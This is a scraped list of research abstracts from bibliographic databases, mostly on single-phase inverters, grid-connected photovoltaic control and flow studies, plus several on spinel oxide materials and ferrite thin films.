I-CPG strategies can achieve fast dynamics and satisfactory steady-state performance. In contrast, the P&OCPG algorithm is the most suitable solution in terms of high... 7. Benchmarking of Constant Power Generation Strategies for Single-Phase Grid-Connected Photovoltaic Systems DEFF Research Database (Denmark) Sangwongwanich, Ariya; Yang, Yongheng; Blaabjerg, Frede 2018-01-01 With a still increase of grid-connected Photovoltaic (PV) systems, challenges have been imposed on the grid due to the continuous injection of a large amount of fluctuating PV power, like overloading the grid infrastructure (e.g., transformers) during peak power production periods. Hence, advanced...... strategies based on: 1) a power control method (P-CPG), 2) a current limit method (I-CPG) and 3) the Perturb and Observe algorithm (P&O-CPG). However, the operational mode changes (e.g., from the maximum power point tracking to a CPG operation) will affect the entire system performance. Thus, a benchmarking...... of the presented CPG strategies is also conducted on a 3-kW single-phase grid-connected PV system. Comparisons reveal that either the P-CPG or I-CPG strategies can achieve fast dynamics and satisfactory steady-state performance. In contrast, the P&O-CPG algorithm is the most suitable solution in terms of high... 8. ASSERT validation against the Stern Laboratories' single-phase pressure drop tests International Nuclear Information System (INIS) Waddington, G.M.; Kiteley, J.C.; Carver, M.B. 1995-01-01 This paper describes the preliminary validation of ASSERT-IV against the single-phase pressure drop tests from the 37-element CHF (critical heat flux) experiments conducted at Stern Laboratories, and shows how this study fits into the overall ASSERT validation plan. The effects on the pressure drop of several friction and form loss models are evaluated, including the geometry-based K-factor model. The choice of friction factor has a small effect on the predicted channel pressure drop, compared to the form loss model choice. Using the uniform K-factors of Hameed, the computed pressure drops are in excellent agreement with the experimental results from the nominal pressure tube tests. For future ASSERT applications, either Hameed's uniform K-factors or the geometry-based model using Idelchik's thick-edged orifice equation are recommended, as are the friction factor correlations of Colebrook-White, Selander, and Aly and Groeneveld. More analysis of the geometry-based K-factor model is required. (author). 23 refs., 4 tabs., 9 figs 9. Green synthesis of isopropyl myristate in novel single phase medium Part I: Batch optimization studies Directory of Open Access Journals (Sweden) 2015-12-01 Full Text Available Isopropyl myristate finds many applications in food, cosmetic and pharmaceutical industries as an emollient, thickening agent, or lubricant. Using a homogeneous reaction phase, non-specific lipase derived from Candida antartica, marketed as Novozym 435, was determined to be most suitable for the enzymatic synthesis of isopropyl myristate. The high molar ratio of alcohol to acid creates novel single phase medium which overcomes mass transfer effects and facilitates downstream processing. The effect of various reaction parameters was optimized to obtain a high yield of isopropyl myristate. Effect of temperature, agitation speed, organic solvent, biocatalyst loading and batch operational stability of the enzyme was systematically studied. The conversion of 87.65% was obtained when the molar ratio of isopropyl alcohol to myristic acid (15:1 was used with 4% (w/w catalyst loading and agitation speed of 150 rpm at 60 °C. The enzyme has also shown good batch operational stability under optimized conditions. 10. POWER FACTOR CORRECTION IN PERMANENT MAGNET BRUSHLESS DC MOTOR DRIVE USING SINGLE-PHASE CUK CONVERTER Directory of Open Access Journals (Sweden) SANJEEV SINGH 2010-12-01 Full Text Available Permanent magnet brushless DC motor (PMBLDCM drives are being employed in many variable speed applications due to their high efficiency, silent operation, compact size, high reliability, ease of control, and low maintenance requirements. These drives have power quality problems and poor power factor at input AC mains as they are mostly fed through diode bridge rectifier based voltage source inverters. To overcome such problems a single-phase single-switch power factor correction AC-DC converter topology based on a Cuk converter is proposed to feed voltage source inverters based PMBLDCM. It focuses on the analysis, design and performance evaluation of the proposed PFC converter topology for a 1.5 kW, 1500 rpm, 400 V PMBLDCM drive used for an air-conditioning system. The proposed PFC converter topology is modelled and its performance is simulated in Matlab-Simulink environment and results show an improved power quality and good power factor in wide speed range of the drive. 11. Design And Development Of An Automatic Single Phase Protective Device Using Ssr Directory of Open Access Journals (Sweden) Michael E. 2017-10-01 Full Text Available Since the discovery of energy safety has been a paramount subject matter. This we can see in todays electrical systems where protective devices such as fuse and circuit breakers are used to prevent fire hazards resulting from overload overvoltage and short circuits. However with all the revolution in technology these options may be considered less smart since the fuse made with wire strands calculated for specific current capacity faults permanently when the specified current rating is exceeded. While the circuit breaker which is made up of mechanical switch fails as a result of carbon forming and the wearing away of the contacts because of arcing. As a means of improvement this paper presents the design and development of an automatic single phase protective device using solid state relay SSR. This study is to ensure automatic cut off from power supply in cases of overvoltage above 240 V AC or when overload and short circuit current above 8amps is detected without permanent damage of a fuse placed along current path. Also the design will ensure that there is an automatic close circuit whenever the trigger switch is momentary switch is closed. The system is achieved via the use of PIC micro-controller current sensor and other discrete components. The system is tested and works well inhibiting the frequent faulting of fuses. It also helps to prevent hazard as a result of overvoltage overload and short circuit and ensures a close circuit when the trigger switch is closed. 12. Modified Dual Three-Pulse Modulation technique for single-phase inverter topology Science.gov (United States) Sree Harsha, N. R.; Anitha, G. S.; Sreedevi, A. 2016-01-01 In a recent paper, a new modulation technique called Dual Three Pulse Modulation (DTPM) was proposed to improve the efficiency of the power converters of the Electric/Hybrid/Fuel-cell vehicles. It was simulated in PSIM 9.0.4 and uses analog multiplexers to generate the modulating signals for the DC/DC converter and inverter. The circuit used is complex and many other simulation softwares do not support the analog multiplexers as well. Also, the DTPM technique produces modulating signals for the converter, which are essentially needed to produce the modulating signals for the inverter. Hence, it cannot be used efficiently to switch the valves of a stand-alone inverter. We propose a new method to generate the modulating signals to switch MOSFETs of a single phase Dual-Three pulse Modulation based stand-alone inverter. The circuits proposed are simulated in Multisim 12.0. We also show an alternate way to switch a DC/DC converter in a way depicted by DTPM technique both in simulation (MATLAB/Simulink) and hardware. The circuitry is relatively simple and can be used for the further investigations of DTPM technique. 13. Anaerobic co-digestion of food waste and landfill leachate in single-phase batch reactors International Nuclear Information System (INIS) Liao, Xiaofeng; Zhu, Shuangyan; Zhong, Delai; Zhu, Jingping; Liao, Li 2014-01-01 Highlights: • Anaerobic co-digestion strategy for food waste treatment at OLR 41.8 g VS/L. • A certain amount of raw leachate effectively relieved acidic inhibition. • The study showed that food waste was completely degraded. - Abstract: In order to investigate the effect of raw leachate on anaerobic digestion of food waste, co-digestions of food waste with raw leachate were carried out. A series of single-phase batch mesophilic (35 ± 1 °C) anaerobic digestions were performed at a food waste concentration of 41.8 g VS/L. The results showed that inhibition of biogas production by volatile fatty acids (VFA) occurred without raw leachate addition. A certain amount of raw leachate in the reactors effectively relieved acidic inhibition caused by VFA accumulation, and the system maintained stable with methane yield of 369–466 mL/g VS. Total ammonia nitrogen introduced into the digestion systems with initial 2000–3000 mgNH 4 –N/L not only replenished nitrogen for bacterial growth, but also formed a buffer system with VFA to maintain a delicate biochemical balance between the acidogenic and methanogenic microorganisms. UV spectroscopy and fluorescence excitation–emission matrix spectroscopy data showed that food waste was completely degraded. We concluded that using raw leachate for supplement water addition and pH modifier on anaerobic digestion of food waste was effective. An appropriate fraction of leachate could stimulate methanogenic activity and enhance biogas production 14. Cost Optimal Design of a Single-Phase Dry Power Transformer Directory of Open Access Journals (Sweden) Raju Basak 2015-08-01 Full Text Available The Dry type transformers are preferred to their oil-immersed counterparts for various reasons, particularly because their operation is hazardless. The application of dry transformers was limited to small ratings in the earlier days. But now these are being used for considerably higher ratings. Therefore, their cost-optimal design has gained importance. This paper deals with the design procedure for achieving cost optimal design of a dry type single-phase power transformer of small rating, subject to usual design constraints on efficiency and voltage regulation. The selling cost for the transformer has been taken as the objective function. Only two key variables have been chosen, the turns/volt and the height: width ratio of window, which affects the cost function to high degrees. Other variables have been chosen on the basis of designers’ experience. Copper has been used as conductor material and CRGOS as core material to achieve higher efficiency, lower running cost and compact design. The electrical and magnetic loadings have been kept at their maximum values without violating the design constraints. The optimal solution has been obtained by the method of exhaustive search using nested loops. 15. A single-phase embedded Z-source DC-AC inverter. Science.gov (United States) Kim, Se-Jin; Lim, Young-Cheol 2014-01-01 In the conventional DC-AC inverter consisting of two DC-DC converters with unipolar output capacitors, the output capacitor voltages of the DC-DC converters must be higher than the DC input voltage. To overcome this weakness, this paper proposes a single-phase DC-AC inverter consisting of two embedded Z-source converters with bipolar output capacitors. The proposed inverter is composed of two embedded Z-source converters with a common DC source and output AC load. Though the output capacitor voltages of the converters are relatively low compared to those of a conventional inverter, an equivalent level of AC output voltages can be obtained. Moreover, by controlling the output capacitor voltages asymmetrically, the AC output voltage of the proposed inverter can be higher than the DC input voltage. To verify the validity of the proposed inverter, experiments were performed with a DC source voltage of 38 V. By controlling the output capacitor voltages of the converters symmetrically or asymmetrically, the proposed inverter can produce sinusoidal AC output voltages. The experiments show that efficiencies of up to 95% and 97% can be achieved with the proposed inverter using symmetric and asymmetric control, respectively. 16. Single-phase and two phase bubbly flow in a T connection: theoretical and experimental study International Nuclear Information System (INIS) Hervieu, Eric 1988-01-01 The objective of this research thesis is to highlight the driving factors of the separation of phases of a bubbly flow in a T junction, and to develop a prediction model. In a first part, the author reports the rigorous formulation of equations averaged on the T volume. He shows that it's not possible to solve globally the problem with these equations. Then, he reports a bibliographical study on the modelling of a bubbly flow, and, based upon this study, highlights intrinsic characteristics of the flow, and explains its dynamic mechanisms. He reports the development of the theoretical model, and describes the experimental installation used to validate it. In the third part, he reports the study of the liquid-gas interaction, and presents the adopted approach: study of the behaviour of an isolated bubble within a single-phase flow. Experimentation is used to check theoretical predictions. Results are used to compute phase separation. The obtained results are again compared with experimental results to validate the global relevance of the model [fr 17. Even distribution/dividing of single-phase fluids by symmetric bifurcation of flow channels International Nuclear Information System (INIS) Liu, Hong; Li, Peiwen 2013-01-01 Highlights: ► We addressed an issue of distributing a flow to a number of flow channels uniformly. ► The flow distribution is accomplished through bifurcation of channels. ► Some key parameters to the flow distribution uniformity have been identified. ► Flow uniformity was studied for several versions of flow distributor designs. ► A novel fluid packaging device of high efficiency was provided. -- Abstract: This study addresses a fundamental issue of distributing a single-phase fluid flow into a number of flow channels uniformly. A basic mechanism of flow distribution is accomplished through bifurcation of channels that symmetrically split one flow channel into two downstream channels. Applying the basic mechanism, cascades flow distributions are designed to split one flow into a large number of downstream flows uniformly. Some key parameters decisive to the flow distribution uniformity in such a system have been identified, and the flow distribution uniformity of air was studied for several versions of flow distributor designs using CFD analysis. The effect of the key parameters of the flow channel designs to the flow distribution uniformity was investigated. As an example of industrial application, a novel fluid packaging device of high efficiency was proposed and some CFD analysis results for the device were provided. The optimized flow distributor makes a very good uniform flow distribution which will significantly improve the efficiency of fluid packaging. The technology is expected to be of great significance to many industrial devices that require high uniformity of flow distribution 18. A single-phase model for liquid-feed DMFCs with non-Tafel kinetics Energy Technology Data Exchange (ETDEWEB) Vera, Marcos [Area de Mecanica de Fluidos, Universidad Carlos III de Madrid, Avda. de la Universidad 30, 28911 Leganes (Spain) 2007-09-27 An isothermal single-phase 3D/1D model for liquid-feed direct methanol fuel cells (DMFC) is presented. Three-dimensional (3D) mass, momentum and species transport in the anode channels and gas diffusion layer is modeled using a commercial, finite-volume based, computational fluid dynamics (CFD) software complemented with user supplied subroutines. The 3D model is locally coupled to a one-dimensional (1D) model accounting for the electrochemical reactions in both the anode and the cathode, which provides a physically sound boundary condition for the velocity and methanol concentration fields at the anode gas diffusion layer/catalyst interface. The 1D model - comprising the membrane-electrode assembly, cathode gas diffusion layer, and cathode channel - assumes non-Tafel kinetics to describe the complex kinetics of the multi-step methanol oxidation reaction at the anode, and accounts for the mixed potential associated with methanol crossover, induced both by diffusion and electro-osmotic drag. Polarization curves computed for various methanol feed concentrations, temperatures, and methanol feed velocities show good agreement with recent experimental results. The spatial distribution of methanol in the anode channels, together with the distributions of current density, methanol crossover and fuel utilization at the anode catalyst layer, are also presented for different opperating conditions. (author) 19. Tensile strain effect in ferroelectric perovskite oxide thin films on spinel magnesium aluminum oxide substrate Science.gov (United States) Zhou, Xiaolan Ferroelectrics are used in FeRAM (Ferroelectric random-access memory). Currently (Pb,Zr)TiO3 is the most common ferroelectric material. To get lead-free and high performance ferroelectric material, we investigated perovskite ferroelectric oxides (Ba,Sr)TiO3 and BiFeO3 films with strain. Compressive strain has been investigated intensively, but the effects of tensile strain on the perovskite films have yet to be explored. We have deposited (Ba,Sr)TiO3, BiFeO3 and related films by pulsed laser deposition (PLD) and analyzed the films by X-ray diffractometry (XRD), atomic force microscopy (AFM), etc. To obtain inherently fully strained films, the selection of the appropriate substrates is crucial. MgAl2O4 matches best with good quality and size, yet the spinel structure has an intrinsic incompatibility to that of perovskite. We introduced a rock-salt structure material (Ni 1-xAlxO1+delta) as a buffer layer to mediate the structural mismatch for (Ba,Sr)TiO3 films. With buffer layer Ni1-xAlxO1+delta, we show that the BST films have high quality crystallization and are coherently epitaxial. AFM images show that the films have smoother surfaces when including the buffer layer, indicating an inherent compatibility between BST-NAO and NAO-MAO. In-plane Ferroelectricity measurement shows double hysteresis loops, indicating an antiferroelectric-like behavior: pinned ferroelectric domains with antiparallel alignments of polarization. The Curie temperatures of the coherent fully strained BST films are also measured. It is higher than 900°C, at least 800°C higher than that of bulk. The improved Curie temperature makes the use of BST as FeRAM feasible. We found that the special behaviors of ferroelectricity including hysteresis loop and Curie temperature are due to inherent fully tensile strain. This might be a clue of physics inside ferroelectric stain engineering. An out-of-plane ferroelectricity measurement would provide a full whole story of the tensile strain. However, a 20. Facile synthesis of single-phase spherical α″-Fe16N2/Al2O3 core-shell nanoparticles via a gas-phase method Science.gov (United States) Ogi, Takashi; Dani Nandiyanto, Asep Bayu; Kisakibaru, Yutaka; Iwaki, Toru; Nakamura, Keitaro; Okuyama, Kikuo 2013-04-01 When nitrogen was inserted into the spherical α-Fe/Al2O3 core shell of 45 nm nanoparticles, the XRD pattern showed a clear change in the crystal modification from a body-centered cubic crystal to that of a single-phase α″-Fe16N2 structure. SEM, TEM, and energy-dispersive X-ray spectroscopy mapping analysis gave the particle size distributions, the shell thickness, and the Fe and Al elements. An examination of the total electron yield (surface sensitive) and fluorescence yield (bulk sensitive) of X-ray absorption fine structure on Fe and N atoms of these core shell nanoparticles confirmed the nitriding of the core iron and showed iron oxide formations on the core surface, indicating stability and resistivity performance. The nitriding process also changed the magnetic properties from paramagnetic to ferromagnetic with a coercivity above 3000 Oe, indicating a promising material for a "rear-earth-free" giant magnet. 1. Enhanced magneto-optical and photo-catalytic properties of transition metal cobalt (Co2+ ions) doped spinel MgFe2O4 ferrite nanocomposites Science.gov (United States) Abraham, A. Godlyn; Manikandan, A.; Manikandan, E.; Vadivel, S.; Jaganathan, S. K.; Baykal, A.; Renganathan, P. Sri 2018-04-01 In this study, spinel magnesium cobalt ferrite (CoxMg1-xFe2O4: x = 0.0, 0.2, 0.4, 0.6, 0.8 and 1.0) nanocomposites were synthesized successfully by modified sol-gel combustion method. Magnesium nitrate, cobalt nitrate and iron nitrate were used as the source of divalent (Mg2+ and Co2+) and trivalent (Fe3+) cations, respectively and urea were used as the reducing (fuel) agent. The effects of cobalt ions on morphology, structural, optical, magnetic and photo-catalytic properties of spinel CoxMg1-xFe2O4 nanocomposites were investigated. Various characterization methods, including X-ray powder diffraction (XRD), high resolution scanning electron microscope (HR-SEM), transmission electron microscopy (HR-TEM), energy-dispersive X-ray spectroscopy (EDX), Fourier transforms infrared (FT-IR) spectroscopy, vibrating sample magnetometer (VSM) and photo-catalytic degradation (PCD) activity were used to study the phase purity, microstructure, particle size, elemental composition, functional group determination, band gap calculation, magnetic properties and degradation efficiency of nanoparticles, respectively. The observed results showed that the final products consists cubic spinel phase with sphere-like nanoparticles morphologies. Furthermore, spinel Co0.6Mg0.4Fe2O4 nanocomposite showed highest PCD efficiency (98.55%) than other composition of ferrite nanoparticles. 2. Synthesis of Ca-doped spinel by Ultrasonic Spray Pyrolysis OpenAIRE Camargo, M.T.T.; Jacques, Q.; Caliman, L.B.; Miagava, J.; Hotza, D.; Castro, R.H.R.; Gouvêa, D. 2016-01-01 MgAl2O4 is a stable catalyst support with potential for replacing gamma-alumina in several applications. However, synthesis of magnesium spinel requires elevated temperatures to avoid phase separation (in MgO and Al2O3) at low temperatures, leading to coarsening and reduction of active surface area. In this work, nano CaO-doped and undoped magnesium aluminate were successfully prepared by Ultrasonic Spray Pyrolysis (USP), using a simple adapted experimental set-up operating at 1100 °C. During... 3. Hydrothermal synthesis of nanostructured spinel lithium manganese oxide Science.gov (United States) Liu, Zhanqiang; Wang, Wen-lou; Liu, Xianming; Wu, Minchang; Li, Dan; Zeng, Zhen 2004-04-01 Nanostructured spherical spinel lithium manganese oxide (LiMnO) with about 200 nm in diameter was synthesized for the first time by mild hydrothermal method. The formation of the nanostructured spheres was through self-assembly of the nanoparticles and nanobelts. The influence of the reaction temperature and the time of formation of the nanostructures have been systematically studied. The thermal stability of the nanostructures has been examined by heating-treatment at different temperatures. Powder X-ray diffraction, transmission electron microscopy, high-resolution transmission electron microscopy, thermogravimetric analysis and inductively coupled plasma-atomic emission spectroscopy were used to characterize the products. 4. An Islanding Detection Method by Using Frequency Positive Feedback Based on FLL for Single-Phase Microgrid DEFF Research Database (Denmark) Sun, Qinfei; Guerrero, Josep M.; Jing, Tianjun 2017-01-01 An active islanding detection method based on Frequency-Locked Loop (FLL) for constant power controlled inverter in single-phase microgrid is proposed. This method generates a phase shift comparing the instantaneous frequency obtained from FLL unit with the nominal frequency to modify the reference... 5. A Single-Phase Transformerless Inverter With Charge Pump Circuit Concept for Grid-Tied PV Applications DEFF Research Database (Denmark) Ardashir, Jaber Fallah; Sabahi, Mehran; Hosseini, Seyed Hossein 2017-01-01 This paper proposes a new single-phase transformerless photovoltaic (PV) inverter for grid-tied PV systems. The topology is derived from the concept of a charge pump circuit in order to eliminate the leakage current. It is composed of four power switches, two diodes, two capacitors, and an LCL ou... 6. Analysis of phase-locked loop influence on the stability of single-phase grid-connected inverter DEFF Research Database (Denmark) Zhang, Chong; Wang, Xiongfei; Blaabjerg, Frede 2015-01-01 A controlled power inverter can cause instability at the point of common coupling (PCC) with its output filter and the grid. This paper analyzes the influence of the Phase-Locked Loop (PLL) on the output admittance of single-phase current-controlled inverters with different grid stiffness. It shows... 7. Performance Evaluation of the Single-Phase Split-Source Inverter Using an Alternative DC-AC Configuration DEFF Research Database (Denmark) Abdelhakim, Ahmed; Mattavelli, Paolo; Davari, Pooya 2018-01-01 This paper investigates and evaluates the performance of a single-phase split-source inverter (SSI), where an alternative unidirectional dc-ac configuration is used. Such configuration is utilized in order to use two common-cathode diodes in a single-device instead of using two separate diodes, r... 8. Research on High Efficient Single-Phase Multi-Stage Interleaved Bridgeless PFC Frontend for Class-D Amplifiers DEFF Research Database (Denmark) Li, Qingnan; Thomsen, Ole Cornelius; Andersen, Michael A. E. 2012-01-01 In this paper, a 3.5kW single-phase high efficient interleaved Bridgeless PFC (IBPFC) is proposed for class-D amplifiers. This topology achieves a relatively higher efficiency in a wide output power range, which helps to reduce the energy consuming of the whole system. In addition, a detailed... 9. Hybrid I-f starting and observer-based Ssnsorless control of single-phase BLDC-PM motor drives DEFF Research Database (Denmark) Iepure, Liviu Ioan; Boldea, Ion; Blaabjerg, Frede 2012-01-01 A motion sensorless control for single-phase permanent magnet brushless dc motor based on an I-f starting sequence and a real-time permanent magnet flux estimation is proposed here. The special calculation for extracting the position and speed used here implies the generating of an orthogonal flux......-speed blower-motor (40 W, 10 krpm, 12 Vdc).... 10. A Novel Neural Network Vector Control for Single-Phase Grid-Connected Converters with L, LC and LCL Filters Directory of Open Access Journals (Sweden) Xingang Fu 2016-04-01 Full Text Available This paper investigates a novel recurrent neural network (NN-based vector control approach for single-phase grid-connected converters (GCCs with L (inductor, LC (inductor-capacitor and LCL (inductor-capacitor-inductor filters and provides their comparison study with the conventional standard vector control method. A single neural network controller replaces two current-loop PI controllers, and the NN training approximates the optimal control for the single-phase GCC system. The Levenberg–Marquardt (LM algorithm was used to train the NN controller based on the complete system equations without any decoupling policies. The proposed NN approach can solve the decoupling problem associated with the conventional vector control methods for L, LC and LCL-filter-based single-phase GCCs. Both simulation study and hardware experiments demonstrate that the neural network vector controller shows much more improved performance than that of conventional vector controllers, including faster response speed and lower overshoot. Especially, NN vector control could achieve very good performance using low switch frequency. More importantly, the neural network vector controller is a damping free controller, which is generally required by a conventional vector controller for an LCL-filter-based single-phase grid-connected converter and, therefore, can overcome the inefficiency problem caused by damping policies. 11. Space Vector Pulse Width Modulation Strategy for Single-Phase Three-Level CIC T-source Inverter DEFF Research Database (Denmark) Shults, Tatiana E.; Husev, Oleksandr O.; Blaabjerg, Frede 2016-01-01 This paper presents a novel space vector pulse-width modulation strategy for a single-phase three-level buck-boost inverter based on an impedance-source network. The case study system is based on T-source inverter with continuous input current. To demonstrate the improved performance of the inver... 12. Analysis and MPPT control of a wind-driven three-phase induction generator feeding single-phase utility grid Directory of Open Access Journals (Sweden) Krishnan Arthishri 2017-05-01 Full Text Available In this study, a three-phase diode bridge rectifier and a single-phase voltage source inverter topology has been proposed for feeding single-phase utility grid employing a three-phase induction generator fed from wind energy. A self-excited induction generator configuration has been chosen for wide speed operation of wind turbine system, which gives the scope for extracting maximum power available in the wind. In addition to maximum power point tracking (MPPT, the generator can be loaded to its rated capacity for feeding single-phase utility grid using a three-phase induction machine, whereas it is not possible with existing configurations because of the absence of power converters. For the proposed system, MPPT algorithm has been devised by continuously monitoring the grid current and a proportional resonant controller has been employed for grid synchronisation of voltage source inverter with single-phase grid. A MATLAB/Simulink model of the proposed system has been developed to ascertain its successful working by predetermining the overall performance characteristics. The present proposal has also been tested with sag, swell and distortion in the grid voltage. The control strategy has been implemented using field programmable gate array (FPGA controller with modularised programming approach. The efficacy of the system has been demonstrated with the results obtained from an experimental set-up in the laboratory. 13. Low-Complexity Model Predictive Control of Single-Phase Three-Level Rectifiers with Unbalanced Load DEFF Research Database (Denmark) Ma, Junpeng; Song, Wensheng; Wang, Xiongfei 2018-01-01 The fluctuation of the neutral-point potential in single-phase three-level rectifiers leads to coupling between the line current regulation and dc-link voltage balancing, deteriorating the quality of line current. For addressing this issue, this paper proposes a low-complexity model predictive... 14. Adjusting output impedance using a PI controller to improve the stability of a single-phase inverter under weak grid Directory of Open Access Journals (Sweden) Jiao Jiao 2016-11-01 Full Text Available Explored in this paper is the grid impedance effect on the stability of a single-phase grid connected inverter with an LC filter based on an analysis of the inverter output impedance. For a single-phase grid connected inverter, a PI controller is often used to regulate the current injected into the grid. However, the control performance can be influenced when the inverter is connected to a weak grid. Also, the utility grid has background harmonic noise, which can make the injected current distorted. Therefore, analysis of the output impedance of a single-phase grid connected inverter is important for the robustness and stability of the system. By modeling the output impedance of inverter, it can be determined that the proportional gain and integral gain of the controller have an effect on the output impedance. Analytical results show that by adjusting the PI controller parameters, the ability for harmonic reduction and stability of the system can be improved. Simulation and experiments using a 1 kW single-phase grid connected inverter verify the effectiveness of the theoretical analysis. 15. Safe-commutation principle for direct single-phase AC-AC converters for use in audio power amplification DEFF Research Database (Denmark) Ljusev, Petar; Andersen, Michael Andreas E. 2004-01-01 This paper presents an alternative safe commutation principle for a single phase bidirectional bridge, for use in the new generation of direct single-stage AC-AC audio power amplifiers. As compared with the bridge commutation with load current or source voltage sensing, in this approach... 16. Local symmetry lowering in CdMn{sub 2}O{sub 4} spinel Energy Technology Data Exchange (ETDEWEB) Oliveira, G. N. P.; Lopes, A. M. L., E-mail: [email protected] [CFNUL - Centro de Física Nuclear, Universidade de Lisboa, Av. Prof. Gama Pinto 2, 1649-003 Lisboa (Portugal); IFIMUP and IN-Institute of Nanoscience and Nanotechnology, Departamento de Física e Astronomia da Faculdade de Ciências da Universidade do Porto, Rua do Campo Alegre, 687, 4169-007 Porto (Portugal); Teixeira, R.; Silva, M. R. [CFNUL - Centro de Física Nuclear, Universidade de Lisboa, Av. Prof. Gama Pinto 2, 1649-003 Lisboa (Portugal); Mendonça, T. M.; Araújo, J. P., E-mail: [email protected] [IFIMUP and IN-Institute of Nanoscience and Nanotechnology, Departamento de Física e Astronomia da Faculdade de Ciências da Universidade do Porto, Rua do Campo Alegre, 687, 4169-007 Porto (Portugal); Correia, J. G. [C2TN, Centro de Ciências e Tecnologias Nucleares, Instituto Superior Técnico, Universidade de Lisboa, Estrada Nacional 10, 2695-066 Bobadela LRS (Portugal) 2014-12-14 This work presents an atomic scale study of the electric field gradient (EFG) in the tetragonally distorted CdMn{sub 2}O{sub 4} spinel manganite. The EFG temperature dependence at the Cd and Mn sites was followed via perturbed angular correlation measurements with the {sup 111}In and {sup 111m}Cd probes, from 873 down to 12 K at Isolde-CERN. The results show that in the 12–600 K temperature range, a single Jahn-Teller distorted local phase exists. However above 100 K, a dynamic lattice distortion, evidenced by time dependent EFG fluctuations, sets in suggesting a structural instability. Above 600 K, a local MnO{sub 6} octahedra with relaxed Jahn-Teller distortions emerge and grow in the low temperature matrix, although no macroscopic tetragonal to cubic phase transition was observed. 17. Coexistence of Low Damping and Strong Magnetoelastic Coupling in Epitaxial Spinel Ferrite Thin Films. Science.gov (United States) Emori, Satoru; Gray, Benjamin A; Jeon, Hyung-Min; Peoples, Joseph; Schmitt, Maxwell; Mahalingam, Krishnamurthy; Hill, Madelyn; McConney, Michael E; Gray, Matthew T; Alaan, Urusa S; Bornstein, Alexander C; Shafer, Padraic; N'Diaye, Alpha T; Arenholz, Elke; Haugstad, Greg; Meng, Keng-Yuan; Yang, Fengyuan; Li, Dongyao; Mahat, Sushant; Cahill, David G; Dhagat, Pallavi; Jander, Albrecht; Sun, Nian X; Suzuki, Yuri; Howe, Brandon M 2017-09-01 Low-loss magnetization dynamics and strong magnetoelastic coupling are generally mutually exclusive properties due to opposing dependencies on spin-orbit interactions. So far, the lack of low-damping, magnetostrictive ferrite films has hindered the development of power-efficient magnetoelectric and acoustic spintronic devices. Here, magnetically soft epitaxial spinel NiZnAl-ferrite thin films with an unusually low Gilbert damping parameter (ferrite. At the same time, the coherently strained film structure suppresses extrinsic damping, enables soft magnetic behavior, and generates large easy-plane magnetoelastic anisotropy. These findings provide a foundation for a new class of low-loss, magnetoelastic thin film materials that are promising for spin-mechanical devices. © 2017 WILEY-VCH Verlag GmbH & Co. KGaA, Weinheim. 18. Spontaneous electric polarization in the B-site magnetic spinel GeCu2O4 Science.gov (United States) Yanda, Premakumar; Ghara, Somnath; Sundaresan, A. 2018-04-01 We report the observation of a spontaneous electric polarization at the antiferromagnetic ordering temperature (TN ∼ 33 K) of Cu2+ ions in the B-site magnetic spinel GeCu2O4, synthesized at high pressure and high temperature. This compound is known to crystallize in a tetragonal structure (space group I41/amd) due to Jahn-Teller distortion of Cu2+ ions and exhibit a collinear up-up-down-down (↑↑↓↓) antiferromagnetic spin configuration below TN. We found a clear dielectric anomaly at TN, where an electric polarization appears in the absence of applied magnetic field. The electric polarization is suppressed by applied magnetic fields, which demonstrates that the compound GeCu2O4 is a type-II multiferroic. 19. Natural circulation in single-phase and two-phase flow International Nuclear Information System (INIS) Cheung, F.B.; El-Genk, M.S. 1989-01-01 Natural circulation usually arises in a closed loop between a heat source and a heat sink were the fluid motion is driven by density difference. It may also occur in enclosures or cavities where the flow is induced primarily by temperature or concentration gradients within the fluid. The subject has recently received special attention by the heat transfer and nuclear reactor safety communities because of it importance to the areas of energy extraction, decay, heat removal in nuclear reactors, solar and geothermal heating, and cooling of electronic equipment. Although many new results and physical insights have been gained of the various natural circulation phenomena, a number of critical issues remain unresolved. These include, for example, transition from laminar to turbulent flow, buoyancy-induced turbulent flow modeling, change of flow regimes, flow field visualization, variable property effects, and flow instability. This symposium volume contains papers presented in the Natural Circulation in Single-Phase and Two-Phase Flow session at the 1989 Winter Annual Meeting of ASME, by authors from different countries including the United States, Japan, Canada, and Brazil. The papers deal with experimental and theoretical studies as well as state-of-the-art reviews, covering a broad spectrum of topics in natural circulation including: variable-conductance thermosyphons, microelectronic chip cooling, natural circulation in anisotropic porous media and in cavities, heat transfer in flat plat solar collectors, shutdown heat removal in fast reactors, cooling of light-water and heavy-water reactors. The breadth of papers contained in this volume clearly reflect the importance of the current interest in natural circulation as a means for passive cooling and heating 20. A Single-Phase Multilevel PV Generation System with an Improved Ripple Correlation Control MPPT Algorithm Directory of Open Access Journals (Sweden) Manel Hammami 2017-12-01 Full Text Available The implementation of maximum power point tracking (MPPT schemes by the ripple correlation control (RCC algorithm is presented in this paper. A reference is made to single-phase single-stage multilevel photovoltaic (PV generation systems, when the inverter input variables (PV voltage and PV current have multiple low-frequency (ripple harmonics. The harmonic analysis is carried out with reference to a multilevel configuration consisting of an H-bridge inverter and level doubling network (LDN cell, leading to the multilevel inverter having double the output voltage levels as compared to the basic H-bridge inverter topology (i.e., five levels vs. three levels. The LDN cell is basically a half-bridge fed by a floating capacitor, with self-balancing voltage capability. The multilevel configuration introduces additional PV voltage and current low-frequency harmonics, perturbing the basic implementation of the RCC scheme (based on the second harmonic component, leading to malfunctioning. The proposed RCC algorithm employs the PV current and voltage harmonics at a specific frequency for the estimation of the voltage derivative of power dP/dV (or dI/dV, driving the PV operating point toward the maximum power point (MPP in a faster and more precise manner. The steady-state and transient performances of the proposed RCC-MPPT schemes have been preliminarily tested and compared using MATLAB/Simulink. Results have been verified by experimental tests considering the whole multilevel PV generation system, including real PV modules, multilevel insulated-gate bipolar transistor (IGBT inverters, and utility grids. 1. ESTABLISHED MODES AND STATIC CHARACTERISTICS OF THREE-PHASE ASYNCHRONOUS MOTOR POWERED WITH SINGLE PHASE NETWORK Directory of Open Access Journals (Sweden) V. S. Malyar 2016-01-01 Full Text Available A mathematical model is developed to study the operation of three-phase asynchronous motor with squirrel-cage rotor when the stator winding is powered from a single phase network. To create a rotating magnetic field one of the phases is fed through the capacitor. Due to the asymmetry of power feed not only transients, but the steady-state regimes are dynamic, so they are described by differential equations in any coordinate system. Their study cannot be carried out with sufficient adequacy on the basis of known equivalent circuits and require the use of dynamic parameters. In the mathematical model the state equations of the circuits of the stator and rotor are composed in the stationary three phase coordinate system. Calculation of the established mode is performed by solving the boundary problem that makes it possible to obtain the coordinate dependences over the period, without calculation of the transient process. In order to perform it, the original nonlinear differential equations are algebraized by approximating the variables with the use of cubic splines. The resulting nonlinear system of algebraic 